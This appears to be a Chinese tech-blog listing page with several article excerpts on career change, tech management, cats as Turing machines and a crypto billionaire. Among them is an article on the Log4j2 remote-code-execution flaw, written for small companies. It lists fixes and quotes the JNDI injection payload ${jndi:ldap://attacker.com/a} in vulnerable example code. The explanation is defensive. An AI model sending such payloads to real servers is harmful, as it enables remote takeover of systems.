37岁从互联网大厂跳槽到国企后,发现没有一劳永逸的工作

2021年已经过去,作为一名曾经从事互联网相关工作的一员,亲眼目睹这一年的跌宕起伏。以往增长强劲的互联网行业,在这一年出现增长放缓、亏损扩大,甚至业务裁撤和人员精简。

虽然庆幸自己前几年急流勇退,放弃互联网大厂的高薪工作,跳槽到一家国企工作,拿着不到半数的工资,过上了别人眼中“躺平”的日子,但现在的国企也不如以前那么好混了。

以往朝九晚五,逢假必修的日子已经一去不复返。现在,为了避免被竞争对手侵蚀掉更多的市场,双休变成单休,每天还要加班到七八点才下班,最重要的是工资已经连续几年没涨了。

2015年,我研究生毕业,作为一个工作三年后又选择考研的研究生,首先给大家一个建议:如果家庭条件允许,如果你还能读进去书,一定要选择考研。考研不仅能提高自己的竞争力和就业门槛,更直接影响你职业发展的高度和广度。

因为上了三年班,以前的专业知识早就忘得差不多了,再加上我是边工作边考研,能用来学习的时间实在有限。所以,最终只勉强考上一所普通的一本院校。

研究生三年的时光特别快,尤其是对我这种经过社会毒打的学生,更是感觉光阴似箭。转眼到了毕业的日子,经过无数次简历投递和全国各地面试后,终于拿到BAT中其中一家的录用通知。

当时,班里所有人都十分羡慕我。那是互联网发展最快的年代,能有幸进入BAT工作,就像端上了“铁饭碗”,以后肯定不愁没有钱花,同时也代表着有一只脚已经跨进了大都市。

因为签了不错的工作,我还被推选为学校优秀毕业生,成为班级的骄傲,也深受学弟学妹们的崇拜。在我们这所非重点院校里,能进BAT真的是凤毛麟角。

那时的我对未来充满期待,发誓要在公司里混出个人样,在这个大城市站稳脚跟,走出那个偏远的山村。可是,这样的激情只持续了两年,而后就是漫长的煎熬。

兜兜转转,离开互联网公司,我选择别人眼中的“躺平”生活。

随着工作的深入,所负责的内容越来越复杂,每天8小时的工作时长已无法应对手中的任务,不得不通过加班来完成。不知不觉中,自己就开始每天加班,完全失去应有的业余时间。

在有孩子前,我对加班并不是十分排斥,赚钱是第一要务,手里没钱,心里发慌。为了挣钱,我几乎奉献了自己全部的时间和精力。

可是有了孩子后,生活就不再属于自己,我想用更多的时间来陪伴家人和孩子。有了这样的想法后,我就再也无法心平气和地面对加班。

当然,还有一个原因,因为是工作后考研,所以刚工作三年,我就即将步入35岁的年纪。在大公司里,我几乎没有上升的空间。所以,我下定决心,离开曾经给我带来无数光环的互联网大厂,去找一个更轻松而简单的公司。

念念不忘,必有回响。因为有大厂背景,获得很多公司的青睐,最后如愿进入一家国企,成为体制内的一员。

虽然早就听说国企工作压力小,但是直到亲自坐在办公桌前开始工作,我才真正体会到国企和互联网公司之间的差异。

继续阅读37岁从互联网大厂跳槽到国企后,发现没有一劳永逸的工作

发布于

技术经理:别当超级英雄

【51CTO.com快译】我读了许多关于软件开发团队管理的书籍和文章,这些文献中的“超级英雄”通常指的是在团队中尝试帮助所有的人,解决所有的问题的工程师。他们通常不使用最好的方法,而是只关注短期的目标。当然,我观察到身边有些工程师是有这样的问题,但通常不会对团队带来重大影响,除非组织机构中存在“超级英雄”文化。

在我的职业生涯中,我通常在管理层中发现存在更多的“超级英雄”。更重要的是,他们通常会对团队和企业文化带来更多的负面影响。就我个人的观点而言,管理层的“超级英雄”有以下三个主要问题:

1.管理层的“超级英雄”通常更容易接触到商业化内容和最高决策层,因此他们的“超级英雄”行为更容易扩散到整个组织。

2.“超级英雄”是企业不良文化的开始,因为很多“超级英雄”是为了奖励而逞能。越多的“超级英雄”意味着越多的个人主义。

3.对所有的业务需求都说“好”,尝试解决所有问题,总是愿意解决所有问题的人是组织里每一个人都需要的人。他们在短期内创造了大量的价值,但是为企业的中长期发展带来了许多问题。

在刚开始的时候,我们很难区分谁是“超级英雄”,谁是高产的职员。

继续阅读技术经理:别当超级英雄

发布于

Log4j2史诗级漏洞,我们这些小公司能做些什么

事件背景

12月10日,看到朋友圈中已经有人在通宵修改、上线系统了。随即,又看到阿里云安全、腾讯安全部门发出的官方报告:”Apache Log4j2存在远程代码执行漏洞“,且漏洞已对外公开。

看到相关消息,马上爬起来把所有项目的日志系统过滤一遍,还好老项目采用的log4j,新项目采用的logback,没有中招。随后就看到朋友圈铺天盖地的相关消息。

作为一个史诗级的事件,紧急修改漏洞是必然的。作为程序员,如果看到这则消息,连去核查一下系统都做不到,那真的不是一个合格的程序员。

经历过这次事件,不仅是看热闹而已,还要思考一下,作为小公司如何避免、提前预防、做好准备应对这类Bug。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架,与Logback平分秋色,大量主流的开源框架采用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以,这样一个底层框架出现问题,影响面可想而知。

漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,需及时更新至 Apache Log4j 2.15.0-rc2 版本。

影响范围:2.0 <= Apache log4j2 <= 2.14.1。

最新修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

补救方案

方案一:升级版本,发布系统;

方案二:临时补救:

  • 修改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true。
  • 在涉及漏洞的项目的类路径(classpath)下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true。
  • 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

攻击原理

攻击伪代码示例:

import org.apache.log4j.Logger; 
 
import java.io.*; 
import java.sql.SQLException; 
import java.util.*; 
 
public class VulnerableLog4jExampleHandler implements HttpHandler { 
 
  static Logger log = Logger.getLogger(log4jExample.class.getName()); 
 
  /** 
   * 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录; 
   */ 
  public void handle(HttpExchange he) throws IOException { 
   // 获取user-agent信息 
    String userAgent = he.getRequestHeader("user-agent"); 
     
    // 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。 
    // 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a} 
    log.info("Request User Agent:" + userAgent); 
 
    String response = "Hello There, " + userAgent + "!"; 
    he.sendResponseHeaders(200, response.length()); 
    OutputStream os = he.getResponseBody(); 
    os.write(response.getBytes()); 
    os.close(); 
  } 
} 

基于上述代码的基本攻击步骤:

  • 请求对应的HTTP端点(或接口),在请求信息中携带攻击代码(比如,在user-agent中携带${jndi:ldap://attacker.com/a});
  • 服务器在通过Log4j2执行日志记录时,记录中包含了基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},其中attacker.com是攻击者控制的地址。
  • 记录日志操作触发向攻击者控制的地址发送请求。
  • 对应请求返回在响应中返回可执行的恶意代码,注入到服务器进程当中。比如返回,https://attacker.com/Attack.class 。
  • 进而执行脚本控制服务器。

腾讯安全专家的复现如下:

log4j2漏洞复现

小公司程序员能做些什么?

关于漏洞及解决方案,上面已经详细聊了,问题基本得以解决。在大的互联网企业,是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司,很显然没有这样的条件。

那么,我们该怎么办?同时,作为事件的经历者,你是否思考过这个事件中反映出的一些其他问题吗?

第一,是否第一时间得到消息?

在大企业,一旦发现这样的漏洞,安全部门会第一时间进行通知。但在小企业,没有安全部门,你是如何获取到漏洞的消息的呢?

比如我所在的企业,是没有安全部门的,但也几乎是第一时间得知漏洞消息,进行系统排查的。

作为程序员,如果漏洞消息已经爆出很久,你却一无所知,那就应该反思一下朋友圈的质量以及对技术热点的关注度问题了。

如何获得圈内第一手消息,取决于也反映着你在社交圈或技术圈所处的位置与现状。

第二,是否置若罔闻?

很多朋友可能也看到了这则漏洞消息,但也就是看一下热闹,然后该干嘛干嘛了,系统有漏洞就有漏洞了呗~

如果你是如此,或你的团队是如此,你真的需要反省一下职业素养问题了。

很多人可能觉得自己很牛,觉得自己怀才不遇,觉得工资收入低,觉得被亏待……那么,对照一下对这件事所作出的反应,基本就知道自己是不是被亏待了。

第三,如何应对突发事件?

这样的突发事件,也是对系统运维、团队管理的一个考验,也是一个仿真练习:大家都正在进行着当前业务的开发,有一个突发Bug要修改,改一半的代码如何操作?如大面积发布?

第一,改一半的代码怎么办?如果你的团队的代码开发都是基于master(主干)进行开发、提交代码,针对这样的突发事件,必然会面对改了一半的代码,提交了,想一起发布但还没测试,这种骑虎难下的局面。

所以,代码的管理(如何打分支、合并分支、分支与主干代码不同环境的发布)必须得从日常的点滴做起,当突发事件发生时,也不至于手忙脚乱。

第二,有大量项目需要发布怎么办?当然,最古老的方式就是一个系统一个系统手动发布。如果是微服务及应用较多,不仅容易出现错误,而且耗时较长。这就提醒我们,构建自动化发布流程的重要性。

第四,怎么找出系统漏洞?

有安全部门的公司,会定期扫描系统漏洞,那么没有安全部门的公司只能坐以待毙吗?

其实,还是有一些方法可以发现系统的一些漏洞的。比如,勤关注使用框架的版本升级、利用三方提供的漏洞扫描(比如阿里云服务器的安全扫描)、与同行交流等手段。

小结

任何一个漏洞对软件系统来说都有可能是致命的,也需要我们谨慎对待的。对于漏洞的处理及做出的反应也是从业者职业素养的体现。

而如果能从一次次突发事件中学习、思考到更多内容,你将比别人更快的成长。

 

来源:https://netsecurity.51cto.com/art/202112/694738.htm

发布于

猫=图灵机?四项测试证明,「猫猫计算机」可执行任意计算

近日,一位法国开发者Chloé Lourseyre在她的个人博客上提出了「猫猫计算机」的概念。由此,她提出了一个天马行空的想法:猫是不是「图灵完备」的?它是「图灵机」吗?

软萌可爱的猫咪,总会唤起我们想要「撸猫」或者「吸猫」的冲动。

和猫咪待在一块,还真有种治愈的感觉。

而且,按照一位法国开发者Chloé Lourseyre的说法,猫咪甚至可以当计算机用!

近日,在她的个人博客上讨论了一个很重要的话题:猫是不是「图灵完备」的?它是「图灵机」吗?

测试对象就是这只小猫Peluche

Peluche是一只毛茸茸的小猫,就住在Chloé Lourseyre家里。它就是今天的测试对象。

继续阅读猫=图灵机?四项测试证明,「猫猫计算机」可执行任意计算

发布于

刚刚华人首富易位!神秘男子靠炒币干掉钟睒睒,仅用四年晋升全球十大富豪

刚刚,华人首富再度易主!农夫山泉董事长钟睒睒在这个宝座甚至只待了一年左右。

夺下第一的神秘男人,叫赵长鹏。

99.9%的人可能都不认识他,但在币圈里,他是王一般的存在。

他创立的币安平台,世界最大的加密货币交易所,每天760亿美元的高频交易,把赵长鹏的身价推高到至少900亿美元,5700多亿人民币,甚至挤入了全球十大富豪之列。

从房地产到互联网,再到实体产业,一批又一批的华人首富见证了时代的急剧变迁。

赵长鹏也不例外。疫情之后的全球大放水让加密货币连续两年成为涨幅最高的资产,币安币的价格从2020年的40美元直接升到了如今的600多美元,翻了至少15倍。

当普通人连区块链、元宇宙的概念还没搞明白时,有人已经把财富的马达开成了飞机的引擎……

时代抛弃你时,真的是连一声再见也不会说。

得知炒币大佬成了首富之后,我远在上海、北京、昆明的朋友纷纷问我,要不要把股市里的钱拿出来加入这场资本狂欢的盛宴,甚至无脑买币安币……然后分享下时代的红利,实现45岁前退休。

作为资深财经从业者,我觉得这问题不能一概而论,要辩证看待,视手头钱的具体情况而定,具体问题具体分析!

比如说钱是自己赚的,就不要进去了。

继续阅读刚刚华人首富易位!神秘男子靠炒币干掉钟睒睒,仅用四年晋升全球十大富豪

发布于